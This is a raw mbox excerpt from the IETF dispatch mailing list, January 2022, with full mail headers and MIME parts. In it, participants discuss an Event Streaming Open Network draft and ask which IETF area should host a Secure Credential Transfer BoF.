eliminaci=C3=B3n= de > virus y contenido malicioso **** > *Este aviso legal ha sido incorporado autom=C3=A1ticamente al mensaje.* > _______________________________________________ > dispatch mailing list > dispatch@ietf.org > https://www.ietf.org/mailman/listinfo/dispatch > --000000000000bb361705d6bdb435 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
Hav= ing been a designer of AWS EventBridge and worked with the AWS Managed Kafk= a service, I'm reasonably well-exposed to these issues.=C2=A0 I suspect= that=C2=A0(a) a standardized framework such as proposed here would be gene= rally useful, but (b) it would be a ton of work and I'd be hesitant to = take it on without plausible commitments to put the work in.

The draft is immensely long and the rat= io of motivation and evangelism to specification much too high, but the bre= akdown of components seems broadly sane. There are issues, for example: (a)= it wouldn=E2=80=99t be OK to require Kubernetes, or specific programming l= anguages for compliance and (b) the draft doesn't say anything about me= ssage schemas, which are a big and fairly central problem in these applicat= ions.

I'd also wonder= to what extent this work is being addressed by the CNCF.



On Sat, Jan 29, 2022 at 4:03 A= M Emiliano Spinella <em= iliano.spinella@syndeno.com> wrote:
Hello everyone,

I have submitted a new draft for discussi= on: https://datatracker.ietf.org/doc/draft= -spinella-event-streaming-open-network/

The draft contains sever= al images which are broken in the Datatracker html version (still dealing w= ith SVG Tiny 1.2 format). In the meantime, you can read the draft including= images at: https://github.com/syndeno/draft-spin= ella-event-streaming-open-network

The general idea of an Event S= treaming Open Network is to have an open framework for the discovery, name = resolution and overall communication of event streams. The participants of = this network could use whatever event broker implementation they want. Thus= , they would be able to consume and produce events independently of the eve= nt broker used by their peers.

The document describes the motivation= , design and an initial implementation of a (free and open) way to connect = event streams across different network participants. The purpose is to faci= litate cross-organizational event flow connections over the Internet. This = work has been highly influenced by the Email architecture and its protocols= (RFC5321, RFC3501 and RFC6068; among others). Also, it leverages unicast D= NS-SD for resource discovery (RFC6763).

Although a A BoF request has= been submitted for this topic (https://d= atatracker.ietf.org/doc/bofreq-spinella-event-streaming-open-network/),= I would like to request agenda time for a presentation in Dispatch during = IETF 113.

I would be happy to hear your feedback about this dra= ft.

Thanks,
Emiliano

<= /div>

LEGAL NOTICE= : The content of this email message, including the attached files, is confi= dential and is protected by article 18.3 of the Spanish Constitution, which= guarantees the secrecy of communications. If you receive this message in e= rror, please contact the sender to inform them of this fact, and do not bro= adcast its content or make copies.
*** This message has been verified with remo= val tools for viruses and malicious content ***
This legal notice has been aut= omatically incorporated into the message.
---------------------------------------------<= /font>
AVISO LEGAL: El contenid= o de este mensaje de correo electr=C3=B3nico, incluidos los ficheros adjunt= os, es confidencial y est=C3=A1 protegido por el art=C3=ADculo 18.3 de la C= onstituci=C3=B3n Espa=C3=B1ola, que garantiza el secreto de las comunicacio= nes. Si usted recibe este mensaje por error, por favor p=C3=B3ngase en cont= acto con el remitente para informarle de este hecho, y no difunda su conten= ido ni haga copias.
*** Este mensaje ha sido verificado con herramientas= de eliminaci=C3=B3n de virus y contenido malicioso ***
<= i style=3D"font-family:"Times New Roman"">Este aviso legal ha sid= o incorporado autom=C3=A1ticamente al mensaje.
___________________= ____________________________
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch
--000000000000bb361705d6bdb435-- From nobody Sat Jan 29 15:19:06 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 80D7F3A14EB for ; Sat, 29 Jan 2022 15:19:04 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.896 X-Spam-Level: X-Spam-Status: No, score=-1.896 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_NONE=0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=syndeno-com.20210112.gappssmtp.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 18pcddasFzig for ; Sat, 29 Jan 2022 15:18:59 -0800 (PST) Received: from mail-il1-x130.google.com (mail-il1-x130.google.com [IPv6:2607:f8b0:4864:20::130]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id C3DBB3A14EA for ; Sat, 29 Jan 2022 15:18:59 -0800 (PST) Received: by mail-il1-x130.google.com with SMTP id 15so8532233ilg.8 for ; Sat, 29 Jan 2022 15:18:59 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=syndeno-com.20210112.gappssmtp.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=ne7zeSTBA39UDAam1W7jbXgqLBh/sR9dtgTIXaP5yh8=; b=t3ESWYQTEsW/Z2zKPy3N2KrS7HXSIrvCdhTRyQMzKmDzXAc/7BoD2oyKb5aaExu+aK o95X65x8vvWapwuKbn8/eXygXnbwFJ5TTI9evzPgOQ7cFbS7c+Es6F+RpL86CKvy6CUj DaW/xU5p25RBWB2AYM289J8QHN7V/9aW3YSfxrKm5P591mcol01MLUimDZrVgauAlY37 4xJX/TTSdx5uKNO5uhO6u4OtHWxJTjPpiCWm9d9eU10Adgv4zfaS9xT2WJXmjkbT+d9m 4asre6+Cx5IEJ9E2H1l0gwWzQzozd7DfUn5MFJ5w+tT+hEIAme29/wmPyZkF2LnG3OrI W83Q== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=ne7zeSTBA39UDAam1W7jbXgqLBh/sR9dtgTIXaP5yh8=; b=vIylyNWBl0y3y/AslAVAR/jwwDfj1jO7QbEu+WVwCxPLV33Nzxxh8+1gQLpmtcAAbP Q1uW9VKVBWf5RBTGL27HjcJwylqMptX8LbIrcXSDoglCYYMvyo8R0qDm0A+ypSAsYAlI CTOXKOBj3Gt9PZV+jcScB2KsBstL5oFRpVmgtQ5luicR6CthwSii8l8CkOxB+yDaswxB iH1kXp+EGZVrm4s4oSPuEMwlRJ5L6/USwGmzA8auSKzwlaCDQV17djJVCi9jBGmt86kn MaZFi7RhM1Je1/bph7q4wIKx4jhHxPH3kQWnknrwxZTcbn9j5OZpgSboIQaz9T5OKKk2 wbPA== X-Gm-Message-State: AOAM532fAfUgEqN0Rkt7odUWrLRu9tx2W0SWpuU657qGEAHk/4LsMYWT MMHDOdiVjeQXkdhdDaIdbZbJpSwiC/CvCpa3kA2g2xWQodIQ0OfNtSH7ip4WTNILvfdpcFC65z+ GdF9IXTbqY/o2ntXQZ4IS X-Google-Smtp-Source: ABdhPJwH5iExV8/s0GWMNnlQ0E4TtA2d1SSNxlHkUlQJ44mclHJynJu18qB4Azoi3yRjRrnFcobj2RdtRROY6vGuax0= X-Received: by 2002:a92:cd8f:: with SMTP id r15mr10388318ilb.148.1643498338401; Sat, 29 Jan 2022 15:18:58 -0800 (PST) MIME-Version: 1.0 References: In-Reply-To: From: Emiliano Spinella Date: Sun, 30 Jan 2022 00:18:47 +0100 Message-ID: To: Tim Bray Cc: DISPATCH list Content-Type: multipart/alternative; boundary="000000000000a657cc05d6c0c6f2" Archived-At: Subject: Re: [dispatch] Event Streaming Open Network Draft & BoF Request X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Jan 2022 23:19:05 -0000 --000000000000a657cc05d6c0c6f2 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Hello Tim, thanks for your feedback! Let me address your points: *(a) a standardized framework such as proposed here would be generally useful, but (b) it would be a ton of work and I'd be hesitant to take it on without plausible commitments to put the work in.* Yes, but maybe the topic is worthy of a discussion within the IETF. *The draft is immensely long and the ratio of motivation and evangelism to specification much too high, but the breakdown of components seems broadly sane. * This document is an extract from my Master's thesis, so it definitely needs to be reworked to match the audience. This is the first time I publish an I-D so any advice is appreciated. *There are issues, for example: (a) it wouldn=E2=80=99t be OK to require Kubernetes, or specific programming languages for compliance and* Yes. The implementation section within the draft is an initial approach, specially for the PoC described at the end. There could be many approaches and not necessarily described in an IETF document. *(b) the draft doesn't say anything about message schemas, which are a big and fairly central problem in these applications.* Schemas are referenced within the document as "Payload Format". This nomenclature is based on the distinctions made by Urquhart in his book Flow Architectures. The schema of a topic is known by the "Flow Processor" component within the architecture. Since every subscription would need one instance of this component, each would host a reference to the corresponding schema (i.e. an URL to an Avro schema). However, the document does not drill down on this subject and should address it. Thanks for the comment, I will rework it. *I'd also wonder to what extent this work is being addressed by the CNCF.* As far as I am aware, the CNCF has one related project called CloudEvents, which focuses on the Payload Format and not on the Metadata Format. This draft addresses the Metadata Format and its protocol. Basically, CloudEvents focuses on the message schema but not on how peers negotiate a subscription. There is also the case of Nats, whose protocol combines both formats. Thanks, Emiliano On Sat, Jan 29, 2022 at 8:39 PM Tim Bray wrote: > Having been a designer of AWS EventBridge and worked with the AWS Managed > Kafka service, I'm reasonably well-exposed to these issues. I suspect > that (a) a standardized framework such as proposed here would be generall= y > useful, but (b) it would be a ton of work and I'd be hesitant to take it = on > without plausible commitments to put the work in. > > The draft is immensely long and the ratio of motivation and evangelism to > specification much too high, but the breakdown of components seems broadl= y > sane. There are issues, for example: (a) it wouldn=E2=80=99t be OK to req= uire > Kubernetes, or specific programming languages for compliance and (b) the > draft doesn't say anything about message schemas, which are a big and > fairly central problem in these applications. > > I'd also wonder to what extent this work is being addressed by the CNCF. > > > > On Sat, Jan 29, 2022 at 4:03 AM Emiliano Spinella < > emiliano.spinella@syndeno.com> wrote: > >> Hello everyone, >> >> I have submitted a new draft for discussion: >> https://datatracker.ietf.org/doc/draft-spinella-event-streaming-open-net= work/ >> >> The draft contains several images which are broken in the Datatracker >> html version (still dealing with SVG Tiny 1.2 format). In the meantime, = you >> can read the draft including images at: >> https://github.com/syndeno/draft-spinella-event-streaming-open-network >> >> The general idea of an Event Streaming Open Network is to have an open >> framework for the discovery, name resolution and overall communication o= f >> event streams. The participants of this network could use whatever event >> broker implementation they want. Thus, they would be able to consume and >> produce events independently of the event broker used by their peers. >> >> The document describes the motivation, design and an initial >> implementation of a (free and open) way to connect event streams across >> different network participants. The purpose is to facilitate >> cross-organizational event flow connections over the Internet. This work >> has been highly influenced by the Email architecture and its protocols >> (RFC5321, RFC3501 and RFC6068; among others). Also, it leverages unicast >> DNS-SD for resource discovery (RFC6763). >> >> Although a A BoF request has been submitted for this topic ( >> https://datatracker.ietf.org/doc/bofreq-spinella-event-streaming-open-ne= twork/), >> I would like to request agenda time for a presentation in Dispatch durin= g >> IETF 113. >> >> I would be happy to hear your feedback about this draft. >> >> Thanks, >> Emiliano >> >> >> *LEGAL NOTICE: The content of this email message, including the attached >> files, is confidential and is protected by article 18.3 of the Spanish >> Constitution, which guarantees the secrecy of communications. If you >> receive this message in error, please contact the sender to inform them = of >> this fact, and do not broadcast its content or make copies.* >> **** This message has been verified with removal tools for viruses and >> malicious content **** >> *This legal notice has been automatically incorporated into the message.= * >> *---------------------------------------------* >> >> *AVISO LEGAL: El contenido de este mensaje de correo electr=C3=B3nico, >> incluidos los ficheros adjuntos, es confidencial y est=C3=A1 protegido p= or el >> art=C3=ADculo 18.3 de la Constituci=C3=B3n Espa=C3=B1ola, que garantiza = el secreto de las >> comunicaciones. Si usted recibe este mensaje por error, por favor p=C3= =B3ngase >> en contacto con el remitente para informarle de este hecho, y no difunda= su >> contenido ni haga copias.* >> **** Este mensaje ha sido verificado con herramientas de eliminaci=C3=B3= n de >> virus y contenido malicioso **** >> *Este aviso legal ha sido incorporado autom=C3=A1ticamente al mensaje.* >> _______________________________________________ >> dispatch mailing list >> dispatch@ietf.org >> https://www.ietf.org/mailman/listinfo/dispatch >> > --=20 _LEGAL NOTICE: The content of this email message, including the attached=20 files, is confidential and is protected by article 18.3 of the Spanish=20 Constitution, which guarantees the secrecy of communications. If you=20 receive this message in error, please contact the sender to inform them of= =20 this fact, and do not broadcast its content or make copies. _ _*** This=20 message has been verified with removal tools for viruses and malicious=20 content *** _ _This legal notice has been automatically incorporated into=20 the message. _ *---------------------------------------------* *AVISO=20 LEGAL: El contenido de este mensaje de correo electr=C3=B3nico, incluidos l= os=20 ficheros adjuntos, es confidencial y est=C3=A1 protegido por el art=C3=ADcu= lo 18.3 de=20 la Constituci=C3=B3n Espa=C3=B1ola, que garantiza el secreto de las comunic= aciones.=20 Si usted recibe este mensaje por error, por favor p=C3=B3ngase en contacto = con=20 el remitente para informarle de este hecho, y no difunda su contenido ni=20 haga copias. * _*** Este mensaje ha sido verificado con herramientas de=20 eliminaci=C3=B3n de virus y contenido malicioso *** _ _Este aviso legal ha sido=20 incorporado autom=C3=A1ticamente al mensaje._ --000000000000a657cc05d6c0c6f2 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
Hello Tim, thanks for your feedback!

Let me address= your points:

(a) a standardized framework such as proposed here = would be generally useful, but (b) it would be a ton of work and I'd be= hesitant to take it on without plausible commitments to put the work in.
Y= es, but maybe the topic is worthy of a discussion within the IETF.
The draft is immensely long and the ratio of motivation and evan= gelism to specification much too high, but the breakdown of components seem= s broadly sane.

This document is an extract from my Master's thesis, s= o it definitely needs to be reworked to match the audience. This is the fir= st time I publish an I-D so any advice is appreciated.

T= here are issues, for example: (a) it wouldn=E2=80=99t be OK to require Kube= rnetes, or specific programming languages for compliance and

Yes. The imple= mentation section within the draft is an initial approach, specially for th= e PoC described at the end. There could be many approaches and not necessar= ily described in an IETF document.

(b) the draft doesn&= #39;t say anything about message schemas, which are a big and fairly centra= l problem in these applications.

Schemas are referenced within the document= as "Payload Format". This nomenclature is based on the distincti= ons made by Urquhart in his book Flow Architectures. The schema of a topic = is known by the "Flow Processor" component within the architectur= e. Since every subscription would need one instance of this component, each= would host a reference to the corresponding schema (i.e. an URL to an Avro= schema). However, the document does not drill down on this subject and sho= uld address it. Thanks for the comment, I will rework it.

<= b>I'd also wonder to what extent this work is being addressed by the CN= CF.

As far as I am aware, the CNCF has one related project called CloudEven= ts, which focuses on the Payload Format and not on the Metadata Format. Thi= s draft addresses the Metadata Format and its protocol. Basically, CloudEve= nts focuses on the message schema but not on how peers negotiate a subscrip= tion. There is also the case of Nats, whose protocol combines both formats.= =C2=A0

Thanks,
Emiliano

On Sat, Jan 29, 2022 at 8:39 = PM Tim Bray <tbray@textuality.co= m> wrote:
Ha= ving been a designer of AWS EventBridge and worked with the AWS Managed Kaf= ka service, I'm reasonably well-exposed to these issues.=C2=A0 I suspec= t that=C2=A0(a) a standardized framework such as proposed here would be gen= erally useful, but (b) it would be a ton of work and I'd be hesitant to= take it on without plausible commitments to put the work in.

The draft is immensely long and the ra= tio of motivation and evangelism to specification much too high, but the br= eakdown of components seems broadly sane. There are issues, for example: (a= ) it wouldn=E2=80=99t be OK to require Kubernetes, or specific programming = languages for compliance and (b) the draft doesn't say anything about m= essage schemas, which are a big and fairly central problem in these applica= tions.

I'd also wonde= r to what extent this work is being addressed by the CNCF.



On Sat, Jan 29, 2022 at 4:03 A= M Emiliano Spinella <emiliano.spinella@syndeno.com> wrote:
Hello everyon= e,

I have submitted a new draft for discussion: https://datatracker.ietf.org/doc/draft-spinella-event-streamin= g-open-network/

The draft contains several images which are brok= en in the Datatracker html version (still dealing with SVG Tiny 1.2 format)= . In the meantime, you can read the draft including images at: https://github.com/syndeno/draft-spinella-event-streaming-ope= n-network

The general idea of an Event Streaming Open Network is= to have an open framework for the discovery, name resolution and overall c= ommunication of event streams. The participants of this network could use w= hatever event broker implementation they want. Thus, they would be able to = consume and produce events independently of the event broker used by their = peers.

The document describes the motivation, design and an initial = implementation of a (free and open) way to connect event streams across dif= ferent network participants. The purpose is to facilitate cross-organizatio= nal event flow connections over the Internet. This work has been highly inf= luenced by the Email architecture and its protocols (RFC5321, RFC3501 and R= FC6068; among others). Also, it leverages unicast DNS-SD for resource disco= very (RFC6763).

Although a A BoF request has been submitted for this= topic (https://datatracker.ietf.org/doc/= bofreq-spinella-event-streaming-open-network/), I would like to request= agenda time for a presentation in Dispatch during IETF 113.

I = would be happy to hear your feedback about this draft.

=
Thanks,
Emiliano


LEGAL NOTICE= : The content of this email message, including the attached files, is confi= dential and is protected by article 18.3 of the Spanish Constitution, which= guarantees the secrecy of communications. If you receive this message in e= rror, please contact the sender to inform them of this fact, and do not bro= adcast its content or make copies.
*** This message has been verified with remo= val tools for viruses and malicious content ***
This legal notice has been aut= omatically incorporated into the message.
---------------------------------------------<= /font>
AVISO LEGAL: El contenid= o de este mensaje de correo electr=C3=B3nico, incluidos los ficheros adjunt= os, es confidencial y est=C3=A1 protegido por el art=C3=ADculo 18.3 de la C= onstituci=C3=B3n Espa=C3=B1ola, que garantiza el secreto de las comunicacio= nes. Si usted recibe este mensaje por error, por favor p=C3=B3ngase en cont= acto con el remitente para informarle de este hecho, y no difunda su conten= ido ni haga copias.
*** Este mensaje ha sido verificado con herramientas= de eliminaci=C3=B3n de virus y contenido malicioso ***
<= i style=3D"font-family:"Times New Roman"">Este aviso legal ha sid= o incorporado autom=C3=A1ticamente al mensaje.
___________________= ____________________________
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch

LEGAL NOTICE= : The content of this email message, including the attached files, is confi= dential and is protected by article 18.3 of the Spanish Constitution, which= guarantees the secrecy of communications. If you receive this message in e= rror, please contact the sender to inform them of this fact, and do not bro= adcast its content or make copies.
*** This message has been verified with remo= val tools for viruses and malicious content ***
This legal notice has been aut= omatically incorporated into the message.
---------------------------------------------=
AVISO LEGAL: El con= tenido de este mensaje de correo electr=C3=B3nico, incluidos los ficheros a= djuntos, es confidencial y est=C3=A1 protegido por el art=C3=ADculo 18.3 de= la Constituci=C3=B3n Espa=C3=B1ola, que garantiza el secreto de las comuni= caciones. Si usted recibe este mensaje por error, por favor p=C3=B3ngase en= contacto con el remitente para informarle de este hecho, y no difunda su c= ontenido ni haga copias.
*** Este mensaje ha sido verificado con herrami= entas de eliminaci=C3=B3n de virus y contenido malicioso ***
<= div>Este aviso legal h= a sido incorporado autom=C3=A1ticamente al mensaje. --000000000000a657cc05d6c0c6f2-- From nobody Sat Jan 29 22:13:35 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 1657A3A18A6; Sat, 29 Jan 2022 22:13:33 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.897 X-Spam-Level: X-Spam-Status: No, score=-6.897 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, RCVD_IN_DNSWL_HI=-5, SPF_HELO_NONE=0.001, SPF_NONE=0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yHoCalZzULHP; Sat, 29 Jan 2022 22:13:28 -0800 (PST) Received: from bsa2.jck.com (ns.jck.com [70.88.254.51]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 155CA3A18A5; Sat, 29 Jan 2022 22:13:25 -0800 (PST) Received: from [198.252.137.10] (helo=PSB) by bsa2.jck.com with esmtp (Exim 4.82 (FreeBSD)) (envelope-from ) id 1nE3Sk-0005Vu-7k; Sun, 30 Jan 2022 01:13:22 -0500 Date: Sun, 30 Jan 2022 01:13:15 -0500 From: John C Klensin To: Matthew Byington , Eric Rescorla cc: DISPATCH , sec-ads@ietf.org Message-ID: <2531793BFFD2289EC9ED5174@PSB> In-Reply-To: References: X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-SA-Exim-Connect-IP: 198.252.137.10 X-SA-Exim-Mail-From: john-ietf@jck.com X-SA-Exim-Scanned: No (on bsa2.jck.com); SAEximRunCond expanded to false Archived-At: Subject: Re: [dispatch] Secure Credential Transfer Charter & BoF X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Jan 2022 06:13:33 -0000 Hi. I've read the thread to date but it seems more appropriate to respond to this message since this is not about the timing issue raised by others. Having read the charter and other materials, including skimming the slides, I would like to better understand why this is being proposed in ART rather than in the Security Area. The expertise is there (and not in ART except by happy accident) on most of the "primary goals" and requirements in the charter. It is clear why an application or application protocol would want to use the credential-sharing protocol being proposed, but it does not seem to me that qualifies it as ART work (or, if it does, why a significant amount of other work in the Security Area does not belong in ART). Just wondering... john --On Tuesday, January 25, 2022 17:00 -0800 Matthew Byington wrote: > Hi Eric, > > My understanding is that the BoF will be handled virtually > (not in-person). It has also been scheduled outside of the > normal IETF week. > > The BoF is working-group forming, yes. > > Matt > >> On Jan 25, 2022, at 11:38 AM, Eric Rescorla >> wrote: >> >> Can you clarify what the status of a "virtual BoF" is, here? >> I.e., is this in lieu of an actual BoF at the next IETF? Is >> this WG forming? >> >> -Ekr >> >> >> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington >> > > wrote: Hi there, >> >> I wanted to send an email out communicating an upcoming >> virtual BoF meeting scheduled for Thursday February 10th. >> >> This is a follow-on to the initial presentation at IETF week >> 112 given last year. >> >> I am posting the information below to a few different IETF >> mailing lists, so apologies if you receive duplicate >> notifications on the subject. >> >> A big "thank you" to Francesca for helping us to get this >> scheduled and organized. >> >> Latest draft: >> https://www.ietf.org/archive/id/draft-secure-credential-tran >> sfer-03.html >> > nsfer-03.html> >> >> Charter: >> https://github.com/dimmyvi/secure-credential-transfer/blob/m >> ain/charter.md >> > main/charter.md> >> >> BoF Request: >> https://datatracker.ietf.org/doc/bofreq-secure-credential-tr >> ansfer-bof-request/ >> > ransfer-bof-request/> >> >> Virtual BoF (Francesca is finalizing this schedule still, but >> this is the proposed date and time): Thursday February 10th >> 17:00-19:00 UTC >> (https://www.worldtimebuddy.com/?qm=1&lid=2673730,5,8,100&h= >> 2673730&date=2022-2-10&sln=18-20&hf=1 >> > 2673730&date=2022-2-10&sln=18-20&hf=1>) >> >> Mailing list: >> https://www.ietf.org/mailman/listinfo/secret >> >> >> Thanks, >> Matt >> _______________________________________________ >> dispatch mailing list >> dispatch@ietf.org >> https://www.ietf.org/mailman/listinfo/dispatch >> > From nobody Sun Jan 30 13:36:43 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id C55533A083B for ; Sun, 30 Jan 2022 13:36:41 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -0.983 X-Spam-Level: X-Spam-Status: No, score=-0.983 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, HEADER_FROM_DIFFERENT_DOMAINS=0.25, SPF_HELO_NONE=0.001, SPF_SOFTFAIL=0.665, URIBL_BLOCKED=0.001] autolearn=no autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=comcastmailservice.net Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id rlWoO-z7EjoR for ; Sun, 30 Jan 2022 13:36:37 -0800 (PST) Received: from resqmta-h1p-028596.sys.comcast.net (resqmta-h1p-028596.sys.comcast.net [IPv6:2001:558:fd02:2446::4]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 8E58B3A0839 for ; Sun, 30 Jan 2022 13:36:37 -0800 (PST) Received: from resomta-h1p-027913.sys.comcast.net ([96.102.179.200]) by resqmta-h1p-028596.sys.comcast.net with ESMTP id EExqnEtvQYLxoEHsBnTFDT; Sun, 30 Jan 2022 21:36:35 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=comcastmailservice.net; s=20211018a; t=1643578595; bh=OL/krJqwrrHWUOdEdsqTKWVFTYB0yYoOO1z0HOT3YvE=; h=Received:Received:Received:Received:From:To:Subject:Date: Message-ID; b=ZPmmf9PqJAEYD4PYV70I5xZc0NyRuwhTjKwtT5E5Cx0BOmsm/2A327VXZvoSL8ZMg TPWf4NJT4Gn2hPIk7E0DkJDcSeNfZ/9qNoqgpybQX7y3JDnjl8UpEipqATMbo42fhF k5jJ0ZRFlS1V+JAP+jHmT+iFtXILCDwnfgAEirWMtc8puQ+tiAZh30D/XRssbHUCrD p6fVcXrJRvxqXON8z54hvzwEq0LLfIfyZ/7JlpFLoBEAGwwqURH2VukJbtxqsOG5tU qDYRTtH92Gwm1liPULtEGIViCyO0S777M8DnW45/FBp39HGKxMsiPWNhV1mqS5j4oG YQL8QmVQXRAfg== Received: from hobgoblin.ariadne.com ([IPv6:2601:192:4a00:430::7430]) by resomta-h1p-027913.sys.comcast.net with ESMTPA id EHs8ne3qZvdSFEHsAnIomq; Sun, 30 Jan 2022 21:36:35 +0000 X-Xfinity-VMeta: sc=0.00;st=legit Received: from hobgoblin.ariadne.com (localhost [127.0.0.1]) by hobgoblin.ariadne.com (8.16.1/8.16.1) with ESMTPS id 20ULaWkD1075944 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT) for ; Sun, 30 Jan 2022 16:36:32 -0500 Received: (from worley@localhost) by hobgoblin.ariadne.com (8.16.1/8.16.1/Submit) id 20ULaWUu1075941; Sun, 30 Jan 2022 16:36:32 -0500 X-Authentication-Warning: hobgoblin.ariadne.com: worley set sender to worley@alum.mit.edu using -f From: worley@ariadne.com (Dale R. Worley) To: dispatch@ietf.org In-Reply-To: (mbyington=40apple.com@dmarc.ietf.org) Sender: worley@ariadne.com (Dale R. Worley) Date: Sun, 30 Jan 2022 16:36:31 -0500 Message-ID: <877dagaotc.fsf@hobgoblin.ariadne.com> Archived-At: Subject: Re: [dispatch] Secure Credential Transfer Charter & BoF X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Jan 2022 21:36:42 -0000 And so that we can possibly lure in people who we haven't motivated to think about this, I copy this from the BoF request so y'all can skim it with minimal effort: The goal is to allow users with secure credentials on their mobile devices to be able to shares entitlements that these credentials grant to other users. This would be achieved by defining and standardizing a protocol that will facilitate such credential transfers from individual to individual. The protocol will leverage a "relay server" to transfer data from sender to recipient. The scope of the transfer is limited to a single origin device and a single destination device. This system does not exist today in a standards-based, cross-platform and cross-channel capacity. The goal of this BoF is to answer some of the questions that came up during the Dispatch meeting (such as, why can't these credentials simply be lifted and cloned and then sent to the recipient?). We also want to provide additional detail into the applicable use cases, and some of the security and privacy requirements for the solution. The ultimate goal is to form a WG to discuss the initiative in an ongoing capacity. Dale From nobody Sun Jan 30 22:55:46 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8871F3A2428 for ; Sun, 30 Jan 2022 22:55:35 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.811 X-Spam-Level: X-Spam-Status: No, score=-2.811 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, NICE_REPLY_A=-0.714, RCVD_IN_DNSWL_BLOCKED=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=cleverreach.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id LERghqEth_kB for ; Sun, 30 Jan 2022 22:55:30 -0800 (PST) Received: from mail-wr1-x432.google.com (mail-wr1-x432.google.com [IPv6:2a00:1450:4864:20::432]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 46CE23A2429 for ; Sun, 30 Jan 2022 22:55:30 -0800 (PST) Received: by mail-wr1-x432.google.com with SMTP id c23so23378039wrb.5 for ; Sun, 30 Jan 2022 22:55:30 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=cleverreach.com; s=gsuite; h=from:subject:to:cc:references:message-id:date:user-agent :mime-version:in-reply-to:content-language; bh=/TK41S+6fNdEcpuzIjfnLbWMT6aWMsyYjyVvRvJTB1Q=; 